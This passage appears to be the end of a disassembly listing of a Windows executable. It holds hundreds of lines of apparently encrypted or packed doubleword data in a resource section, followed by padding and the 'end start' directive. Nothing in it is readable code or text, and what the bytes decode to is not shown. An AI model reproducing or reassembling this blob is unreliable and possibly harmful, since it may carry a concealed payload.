dd 45FDA1A6h, 26F6DE0Bh, 72571C7Dh, 25698428h, 0C53D150Dh
dd 15BD816Dh, 2CF87F4Ah, 24DD7519h, 0CCB08F6Dh, 271D5165h
dd 0C5C9FC68h, 66B975ADh, 6E39D18Dh, 0C337945Dh, 0F9DAAF5h
dd 0A5E91C88h, 0B216F38Dh, 652944E8h, 85FDF5CDh, 920EC1ADh
dd 85092488h, 0A59DF5EDh, 0F270216Dh, 0E5DD36EAh, 0F5B8E18Dh
dd 0D6F6DFFDh, 8761246h, 651D8C2Fh, 84B4D426h, 0AFC54511h
dd 45497CC8h, 602A9F2Dh, 45FDA1BCh, 255D756Dh, 3D9BD9B9h
dd 0E05776FDh, 0C57D2124h, 1DFBFF06h, 0A077B5B2h, 0E59D0104h
dd 0C04A3EEBh, 255D415Ch, 84FDD5CEh, 0E0AAC6D9h, 0C57D213Ch
dd 859DF5EDh, 0C28A5839h, 0E5DD352Eh, 0D50D90F9h, 0AEEE9EC7h
dd 1F785E02h, 4E5DF594h, 39759CC5h, 206A3CDEh, 53D617Ch
dd 0E55D352Dh, 0C0309BF8h, 255D4144h, 5BDDD47h, 9D2EB654h
dd 81F01180h, 649DE5C9h, 8ECD5DADh, 83DBD686h, 237DA435h
dd 0AAA513C6h, 8545BD4Dh, 845FB5ADh, 6E65BE6Bh, 0A3E83C68h
dd 0C54CED2Bh, 266D9E4Bh, 79381827h, 0D21D3559h, 0C5C9E448h
dd 655DB5ADh, 923B601Dh, 4EC50DC6h, 2D2EDE54h, 35F6CD06h
dd 7C1F1806h, 0B01C752Dh, 85BDEC4Fh, 21D68CACh, 78B41129h
dd 0A5DDE580h, 3CFBE8C6h, 60F6356Dh, 45FDAC0Fh, 112CF09Ah
dd 85BDD58Dh, 6729B5ADh, 796CDFAh, 0F2CBF5E9h, 3CD3E8CEh
dd 0EADD356Dh, 45BC4C09h, 25109D6Dh, 0C0B6D5CDh, 2918FBFFh
dd 8113273Eh, 5A9DB9A1h, 4548DDD8h, 5B58BC2Dh, 16BDD5B4h
dd 26212DE6h, 0AD8E2A15h, 8D69F626h, 3AC2E3F1h, 9C3B6066h
dd 626550Dh, 6054396Fh, 45FDAC4Fh, 0AC15376Eh, 0C5C41348h
dd 4D2E3EADh, 0C5BDA6F2h, 7075F5EDh, 8E82AABBh, 0A5E49390h
dd 8C55C38Dh, 0AEE28A9Bh, 0C5C47358h, 6D173EADh, 0EE315F0Eh
dd 0A0747623h, 41DDD42h, 61D2352Dh, 45BD94D7h, 1CB7C06Eh
dd 30FED58Dh, 651D8CDFh, 0CAD529A1h, 0A59D5768h, 13BD84Dh
dd 0DCAFB006h, 43BE95CDh, 0D39B9D3Dh, 387E2A32h, 651D8C0Bh
dd 0FE36600Dh, 2692F9AAh, 57D5456h, 70E439C6h, 45FDAC2Bh
dd 2410F062h, 0FED5CDh, 651D8CDFh, 3A05946Bh, 5918FAC8h
dd 8E7D554Dh, 0A6F6376Dh, 0C55C5B9h, 1CE28A9Bh, 0C5C47370h
dd 81D8BAADh, 0C63D150Dh, 0E5A45F68h, 77F8564Dh, 6EDD7514h
dd 49FABE8Dh, 25D0F762h, 0C2C6D5CDh, 0A1DEBAA5h, 463D150Dh
dd 0E29EF72Dh, 77F85659h, 0B7DD7514h, 0FB086ADDh, 0DA1D3554h
dd 0C5C89D58h, 0A5D8EFADh, 0C58A9002h, 3974F5EDh, 397D554Dh
dd 71583AD2h, 0C5BD958Dh, 0A0126053h, 85FDD546h, 4E5CF326h
dd 2D6D214Eh, 5A620035h, 3CDBE874h, 92A8356Dh, 7C17108Eh
dd 0A01E752Dh, 85BDECBFh, 5C973024h, 0C5B6154Dh, 9C5F70D6h
dd 0D0F550Dh, 0DC1BB016h, 2CCF95CDh, 251D7550h, 6DCAA7BDh
dd 655DB5B2h, 4EC15B80h, 0A69FDE2Ch, 8046450Fh, 0E59D0CE7h
dd 813E99F8h, 0AA2C8A7Dh, 0E4E1F189h, 0EA9EAE46h, 85048788h
dd 101695EDh, 53D6C3Fh, 1A2B43C5h, 4514F472h, 509D756Dh
dd 89BAFEC3h, 2266BCDFh, 0F9BF1A05h, 0EC620A12h, 0FBCFD042h
dd 0D956CAD2h, 741A14A9h, 0DA1D7549h, 6E822A32h, 41173491h
dd 253D156Dh, 2E5DC6A3h, 80FA7141h, 0E59D0C83h, 61882C00h
dd 0A01E756Dh, 85BDECBFh, 2BF810CBh, 873ED326h, 0A9DFDEF9h
dd 0ED86138Bh, 0E58FB4EAh, 45B8958Dh, 6394756Dh, 46A38A31h
dd 5D130020h, 3A6B154Dh, 0E5A88978h, 0FA85D64Dh, 0E566B122h
dd 0C034958Dh, 255D4C3Fh, 7AABD5A7h, 25680138h, 0CAFD900Dh
dd 0A59D5169h, 55BD7E4Dh, 0B5DE5F7Dh, 45D594E7h, 73DD756Dh
dd 0B0A14032h, 9DDEB5EDh, 0FBB91AF2h, 2C9DF5E8h, 454403C8h
dd 0BF50B82Dh, 0C8BDD5B4h, 652417F8h, 0EFAF84CDh, 0F0A2E5ADh
dd 0C57D2089h, 0AA620D6Eh, 57859C9h, 1ADD5F2Dh, 584C338h
dd 0A5888A6Dh, 6FD95F8h, 0E1524A55h, 0C53D11F8h, 9CF77064h
dd 0CC4E550Dh, 0B58CF62Eh, 14B9FFDCh, 1C4BC092h, 1002D58Dh
dd 651D80CDh, 4132D588h, 0A59DF13Ch, 80F49C7Eh, 0E59D0C43h
dd 2DECC4DCh, 25127572h, 25682A9Dh, 0E05DF598h, 4FB91ACDh
dd 2C9DF5E9h, 454427C8h, 2865F62Dh, 0CEBD95E4h, 0A0EA4D26h
dd 85BDE1FCh, 755DB5ADh, 403E1378h, 0A5DDE580h, 0C47E877Eh
dd 42AC4DAh, 7CC71004h, 1EA5752Dh, 0EFDD5E9h, 0E05E89E6h
dd 0C57D0560h, 649E27DEh, 0E48AA4BAh, 0DCABB0A4h, 4A7E95CDh
dd 0DC1B3EDAh, 0D670E02Eh, 26EABAB5h, 8CED1619h, 0A6B53486h
dd 5A47D49Dh, 1CB35C5Ah, 3F3E88F9h, 0C56F7461h, 0EC19E46h
dd 275EA1EFh, 8D79981Dh, 86440212h, 6FF86E8Ch, 26DD7514h
dd 5599C106h, 0A792B55Eh, 85FDD575h, 8E923E6Eh, 8B809806h
dd 599DB5D5h, 0CC4E8AC6h, 97BC0981h, 32C7A98Bh, 8F3D596Fh
dd 698989F1h, 0B8299B91h, 2D481531h, 0A4163C0Eh, 40251070h
dd 0D8D6412Dh, 45EFD6DEh, 0DA2EF062h, 86762A32h, 2B14E290h
dd 0E3B91A4Eh, 98620A12h, 4B28161Ah, 1AC6B122h, 12806A72h
dd 2A2F462Eh, 7A02C549h, 360D8852h, 41325A59h, 5A620AE8h
dd 28958E7Eh, 0EA22CAD3h, 0BA436D09h, 0CDCF4692h, 85FDD5DBh
dd 9AA2DA45h, 0C53DFDF2h, 24C0F5EDh, 4552DFA0h, 0E6E0DC2Dh
dd 0BAD9958Dh, 57A8FE5Fh, 0E1FD95F4h, 0E43B9724h, 0CA675833h
dd 0A59ED368h, 3923DE4Dh, 64BBEB2Eh, 4AF8C5B6h, 251E63E8h
dd 93BE22CDh, 655D95ADh, 0C6349002h, 0E66BF5EDh, 4BF65711h
dd 19593A0Dh, 0A6BD958Fh, 24E4F461h, 8AFDD5CCh, 655F5B2Bh
dd 3BF0FD0Dh, 27920A12h, 57D57AEh, 0E6CD7FA6h, 450599C7h
dd 741D746Dh, 7A173B25h
dd 4AC88552h, 743D5539h, 9528C5CDh, 6F7D1579h, 0BD14CB0Dh
dd 915581F5h, 0A0E28A87h, 4769DA1Fh, 0F06C577Eh, 0C57D213Ch
dd 0A3F51006h, 5C7D554Dh, 0E5DD3345h, 0F155CD8Dh, 0AFE28A87h
dd 0C5C9FC48h, 4FD933ADh, 0C57D2124h, 91B47065h, 0E59F550Dh
dd 0D1ECB0DAh, 45B595CDh, 2C68756Dh, 0B1D6684Dh, 115CB5EDh
dd 0F4B8E2C8h, 0A69DB5D9h, 717C554Dh, 0CC60B536h, 40BDD5B9h
dd 989DC519h, 85BDE1E7h, 0E5FAC1A8h, 85093EB0h, 3BE9F0EDh
dd 314CD0BAh, 0E5DD356Dh, 4CC9158Dh, 1134C8EDh, 0F2FFD58Dh
dd 0CBF83624h, 0C53D5534h, 5A697A05h, 0F8BDBDB2h, 0C035CAD2h
dd 0CEBD958Fh, 652403F0h, 79233DCDh, 0E1524A52h, 0C53D1706h
dd 9CEF4066h, 5BF6550Dh, 0D033611h, 0BA426852h, 24E8F762h
dd 0CF7CD5CDh, 655DD589h, 97C39EEDh, 0B1E7F6BBh, 0F26D2F4Eh
dd 0A5E904A8h, 45BD958Dh, 0A813007Dh, 0C5C9E978h, 8D03EADh
dd 363D551Dh, 0AA24A249h, 887D5544h, 0A5CD3598h, 0F418668Dh
dd 0D61F966Dh, 0B4782269h, 655DF599h, 0CA2D150Dh, 0A59D5D69h
dd 2D0EAA4Dh, 1A2C5AC5h, 0E3281E72h, 0A01D3554h, 1779DA1Fh
dd 0EE5DB5ADh, 850467B8h, 0B5D77EEDh, 65591FCCh, 0CE3D352Dh
dd 47CE9DC7h, 571EBC5Eh, 0E870EED9h, 0EE5DF5BDh, 852D7880h
dd 2ECB87EDh, 0A0FE7171h, 0E59D2540h, 281A168Dh, 251D756Dh
dd 84F5AF46h, 925EBDE7h, 40B6E28Ah, 0A5DDCC6Bh, 314CD0BAh
dd 0E59D356Dh, 47C9958Dh, 571E6D9Ah, 0CCDFCC1h, 25641B18h
dd 0ED4E9E0Dh, 206AC5ECh, 53D617Ch, 0E5DD356Dh, 5D4A97F9h
dd 0D9A99D3Ch, 6EA42A32h, 4D2EB6A1h, 94316726h, 0FA3906BBh
dd 39C8D814h, 16DD7519h, 4AE3CA29h, 0A290E75Ch, 85FDD41Fh
dd 51722097h, 0C348154Dh, 0F3E52784h, 55F54779h, 3A11DDD2h
dd 0CEE76A72h, 6F1E7927h, 0B47822DDh, 655DF599h, 482D150Dh
dd 0B6E8F3ACh, 3CD3D8C4h, 60DE356Dh, 45FD85E0h, 2570D2EEh
dd 0AEFDD5CDh, 0D0A29DEEh, 0C57D2C73h, 0A5CF7264h, 43F2554Dh
dd 0D458C20Dh, 45BDD5B9h, 519D756Dh, 0A21587CAh, 3FA24A54h
dd 0FC939886h, 0A67EF5ADh, 8E551EC4h, 60562567h, 45FDACFBh
dd 56153F54h, 8DB75CCEh, 0E64DF7ACh, 4E3D4D6Eh, 0E5A48F68h
dd 21413D4Dh, 0A7DC352Dh, 6BCCC85h, 0A88FF3Dh, 72FD95F9h
dd 25698428h, 0C53D150Dh, 0A69B81FDh, 456D38C0h, 12DD832Dh
dd 589A408h, 271D756Dh, 7BE9A0CDh, 54D8426Bh, 0C53D5539h
dd 0D09DF1EDh, 35C8DF4Bh, 12DD7519h, 589A408h, 255D756Dh
dd 0FF6A0CDh, 0CF9FB7AAh, 32DFC30Fh, 0A217FC06h, 7D7977Fh
dd 0D62AD7FBh, 6736F15Fh, 7D1FFA09h, 0BCAB684Eh, 6A5DB5EDh
dd 3AC69D89h, 0D7280A12h, 0FA7D1574h, 0A5E8F1B8h, 2B086A8Dh
dd 0DA1D3554h, 0C5C8E958h, 3FD038ADh, 483D5534h, 0E5A49778h
dd 6F2F044Dh, 0B368CA2Dh, 0BABDD5B4h, 6528CDF8h, 0D3482ACDh
dd 9A5DF594h, 85082998h, 0EB2878EDh, 0FA7D1575h, 0A5E46798h
dd 0D042C38Dh, 255D40D9h, 0BCAB704Eh, 0A65DB5EDh, 0C53D15E5h
dd 0A4F7A8EDh, 3634B8CCh, 1585356Dh, 0C5385482h, 0A01D3578h
dd 4D7E160Dh, 0A4524552h, 85289588h, 0B5A036EDh, 707D7F4Dh
dd 995C5331h, 34D199A9h, 0CD7D6618h, 7A022A09h, 1BB5B0D8h
dd 2DC2EAF6h, 5A620A3Fh, 28827B2Ch, 0F7E96355h, 45BDB035h
dd 80F5156Dh, 0F0022A32h, 41193E94h, 8B88983Dh, 2E9DB5D5h
dd 841B5D1Dh, 96DF3317h, 45D5C3A8h, 0AE1D8A6Dh, 0D7FDBF09h
dd 9DC84AFDh, 463D5538h, 9B1CFD29h, 59426A11h, 235E3658h
dd 0BE967D89h, 5AF58A92h, 0E4022A32h, 65290D6Eh, 74D6150Dh
dd 0A59DDA55h, 56DBD4Dh, 0C51F352Dh, 458D2D8Dh, 26F5756Dh
dd 47FDD5CDh, 31D0B589h, 0EBF01929h, 0D99D0D6Eh, 5953554h
dd 6EDD352Dh, 188DB1D9h, 0C89C6FE6h, 85BDE1DEh, 9AB88C45h
dd 0C1FF74F2h, 0A49AF7EDh, 3078534Eh, 4E630AA3h, 0A120CA45h
dd 0A5343524h, 353526DDh, 0C7BFB235h, 352DDC8Ch, 37250535h
dd 0CCD775E3h, 0F6043AF6h, 1159BE60h, 1159B431h, 350C8031h
dd 0CADEDD35h, 0FDBECACAh, 0CACAD1DDh, 8F41ECAh, 35353435h
dd 69BE7046h, 0D6B43D11h, 0CACAC535h, 2530D8B4h, 3EBE3575h
dd 0B453F807h, 416F22CCh, 35F6B43Dh, 0DECACAC5h, 976BED8h
dd 4D2D61BEh, 0BE2F21B8h, 47BE2D7Fh, 1B86415h, 49B49806h
dd 74563336h, 30415151h, 686CC6D7h, 1147BEF6h, 0BE11391Ch
dd 0B0B8294Fh, 357525AEh, 0CA5FA5BFh, 5EDDCACAh, 0EBCACACAh
dd 21265338h, 710ECA1Bh, 6E6CCF8h, 0C245DC5Ah, 6ACD550Ch
dd 5FE967CEh, 0C9E7AF1h, 1266FE7h, 24h, 41h dup(0)
dd 2400h dup(?)
_rsrc ends
end start